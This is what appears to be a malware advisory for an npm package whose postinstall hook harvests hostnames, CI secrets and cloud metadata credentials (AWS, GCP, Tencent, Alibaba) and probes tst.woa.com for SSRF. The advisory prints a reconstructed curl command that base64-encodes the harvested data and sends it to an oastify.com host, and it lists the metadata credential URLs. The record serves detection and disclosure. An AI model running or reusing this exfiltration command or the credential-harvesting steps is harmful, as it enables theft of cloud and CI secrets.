GCVE-110-OSM-2026-9227

This package implements a multi-stage cloud environment reconnaissance and exfiltration attack via its postinstall hook. On install, postinstall.js executes three shell command chains: Phase 1 harvests system identity (hostname, user, sudo rights), CI/CD environment variables (GITHUB_REPOSITORY, GITHUB_ACTOR, RUNNER_NAME, secrets matching KEY/TOKEN/SECRET/CREDENTIAL), and cloud IMDS endpoints for AWS (169.254.169.254/iam/security-credentials), GCP, Tencent Cloud, and Alibaba Cloud — then base64-encodes and exfiltrates via curl to the OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. Phase 2 probes tst.woa.com for SSRF reachability and retrieves flag.html, consistent with a Tencent-internal network pivot. Phase 3 attempts a blind SSRF via tst.woa.com/ssrf_forward.php. The Chinese-language comments explicitly describe this as 'deep forensics' targeting GitHub org attribution and tst.woa.com reachability, indicating deliberate, targeted adversarial design — not a security test gone wrong. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/d1?d=$data" (primary, reconstructed) - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/instance-id (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/vpc-id (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/instance-id (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (plaintext) in postinstall.js - custom-c2: http://100.100.100.200/latest/meta-data/ (plaintext) in postinstall.js (+7 more) EXFIL - OAST/Interactsh Exfiltration in README.txt: "oastify.com" - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in README.txt: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 848c862e482bcebb18294fe6a8eede4fa38b47a71cbdc2eeb5555420870b128b